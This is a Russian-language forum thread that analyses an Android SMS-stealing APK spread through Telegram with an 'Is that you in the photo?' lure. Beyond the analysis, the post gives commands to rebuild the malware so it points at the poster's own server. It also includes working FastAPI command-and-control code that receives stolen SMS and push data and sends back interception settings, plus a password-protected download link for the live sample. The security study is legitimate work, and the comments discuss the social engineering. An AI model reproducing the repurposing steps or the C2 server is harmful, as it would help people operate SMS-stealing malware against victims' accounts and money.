Загрузка...

[2] "Is that you in the photo?" - Virus apk analysis

Thread in Reversing Lessons created by AnonymJek Oct 19, 2025. (bumped Oct 27, 2025) 698 views

  1. AnonymJek
    Данная статью написана исключительно в ознакомительных целях!
    Автор статьи осуждает любое незаконное использование данной информации
    У моего знакомого взломали Telegram — от его имени начали просить деньги в долг. Я, конечно, сразу понял, что что-то не так, и ничего не переводил. Позже он рассказал, как всё произошло: ему прислали изображение с подписью «Это ты на фото?» и приложили файл с названием «Bидeоaльбoм (Goоglе Drivе).apk». Из любопытства он открыл файл и, по его словам, «всё само установилось».
    После этого я попросил его переслать мне тот самый APK — стало интересно, как именно это «само установилось» и что делает этот вирус.
    [IMG]
    1 - Burp Suite Pro
    2 - Frida script - frida --codeshare akabe1/frida-multiple-unpinning -f YOUR_BINAR​
    Видим запрос с зашифрованными данными, под base64 находятся байты. Используется какое-то шифрования данных. - рисунок 2​
    [IMG]
    Попробуем перехватить все крипто операции через скрипт - frida --codeshare hyugogirubato/android-crypto-interceptor -f com.company.sgjknfs
    Видим алгоритм: AES/CTR/NoPadding
    Ключ и IV - формируется через срез результата sha256 сегодняшнего дня (2025-10-12) - Рисунок 3
    Код для генерации будет ниже
    [IMG]

    Идея следующая - попробовать запустить на своём VPS сервер, чтобы принимать все **** - для этого нам нужно заменить все адреса серверов в apk
    1 - Apktool 2.9.0
    2 - apksigner​
    Инструкция:
    1 - java -jar apktool_2.9.0.jar d temp_opt.apk -o temp_opt_clean -r #Декомпилируем apk
    2 - grep -rl "194.33.61.36" . | xargs gsed -i 's/194\.33\.61\.36/11.11.11.1/g' #Меняем ip 194.33.61.36 на нужный (11.11.11.1)
    3 - grep -rl "5.252.155.193" . | xargs gsed -i 's/5\.252\.155\.193/11.11.11.1/g' #Меняем ip 5.252.155.193 на нужный (11.11.11.1)
    4 - java -jar apktool_2.9.0.jar b temp_opt_clean -o temp_clean_rebuilt.apk # Собираем apk обратно
    5 - ~/Library/Android/sdk/build-tools/34.0.0/apksigner sign --ks debug.keystore --ks-key-alias androiddebugkey --ks-pass pass:android --key-pass pass:android --min-sdk-version 26 --out temp_final_signed.apk temp_clean_rebuilt.apk # Подписываем apk ( если не получается, то создайте ключи)
    Пример - Рисунок 4
    [IMG]
    Сервер решил сделать на Fast API​
    Python
    from fastapi import FastAPI
    [CENTER]from models import *
    from Crypto.Cipher import AES
    from Crypto.Util import Counter
    import base64
    import hashlib
    from datetime import date

    app = FastAPI()


    def get_key_iv(seed: str):
    """
    Создаёт ключ и IV из строки (например, текущей даты)
    """
    data_for_key = hashlib.sha256(seed.encode()).hexdigest()[:32]
    key = data_for_key.encode("utf-8")
    iv = data_for_key[:16].encode("utf-8")
    return key, iv


    def encode_data(plaintext: str, seed: str) -> str:
    """
    Шифрует текст в base64 (AES-CTR)
    """
    key, iv = get_key_iv(seed)

    # Создаём counter (как WebCrypto)
    ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder='big'))
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)

    # Шифруем
    ciphertext = cipher.encrypt(plaintext.encode("utf-8"))

    # Возвращаем base64
    return base64.b64encode(ciphertext).decode("utf-8")


    def decode_data(data_b64: str, seed: str) -> str:
    """
    Расшифровывает base64 строку
    """
    key, iv = get_key_iv(seed)
    cipher_bytes = base64.b64decode(data_b64)
    ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder='big'))
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
    plaintext = cipher.decrypt(cipher_bytes)
    return plaintext.decode("utf-8")


    @app.post("/gettingData")
    def get_data(request: PostDataRequest):
    print(decode_data(request.data, date.today().strftime("%Y-%m-%d")))
    return {
    "data": encode_data(
    '{"webViewUrl": "здесь ссылка на вебью", "retransmitterPhoneNumber": "Здесь телефон +{phone}", "pushWhitelistKeys": ["\u043a\u043e\u0434","\u0441\u043d\u044f\u0442\u0438"]}',
    date.today().strftime("%Y-%m-%d")
    )
    }


    @app.post("/event")
    def event(request: PostDataRequest):
    print(decode_data(request.data, date.today().strftime("%Y-%m-%d")))
    return None


    @app.post("/device")
    def event(request: PostDataRequest):
    print(decode_data(request.data, date.today().strftime("%Y-%m-%d")))
    return None
    [/CENTER]
    Python
    from pydantic import BaseModel
    [CENTER]

    class PostDataRequest(BaseModel):
    data: str
    [/CENTER]
    Описание кода, в /event приходит вся информаци - информация о приложениях, пушах, смс которые перехватили, архив смс, номер телефона
    в /gettingData мы отдаём информацию какие пуши перехватывать, куда отправлять смс когда вирус будет установлен, webview url когда открывается приложение.
    /device - Отправляет push данные для тестов (неинтересный запрос)​
    - Когда устанавливаем apk, нужно давать разрешение на смс, это уже должно вызвать подозрение
    - Запуск сервера:
    sudo ./venv/bin/uvicorn main:app --host 0.0.0.0 --port 300
    sudo ./venv/bin/uvicorn main:app --host 0.0.0.0 --port 500 &

    Мы видим на рисунке 5,6 как вирус стучит серверу.​
    [IMG]
    [IMG]
    Как по мне вирус является бесполезным, так как его блокирует google защита
    Вирус может перехватывать смс, архив смс, иформацию о приложениях и тд
    Статья написана в ознакомительных целях!

    Ссылка на скачивания apk - https://drive.google.com/file/d/1PJKNqlSCjMglJN_15or6J1ahL1BGgIVi/view (Пароль lolz)​
    Занимаюсь реверсингом чего угодно - пишите в лс форума​
     
  2. ЯЖдуЧуда
    ЯЖдуЧуда Oct 19, 2025 Banned 1,660 Jan 2, 2023
    Интересный анализ. Тут ещё и психология задействована. Типа фотку слили, а что за фотка? Интересно жууууть. Вот и открывают.

    Как такому нужно критичнее относится (намного критичнее прямо)
     
  3. gonome
    Слыхал про такое, но с каких пор фотка вместо открытия выдаст "Установить приложение"? Расчет на ламера/пенсионера.
     
Loading...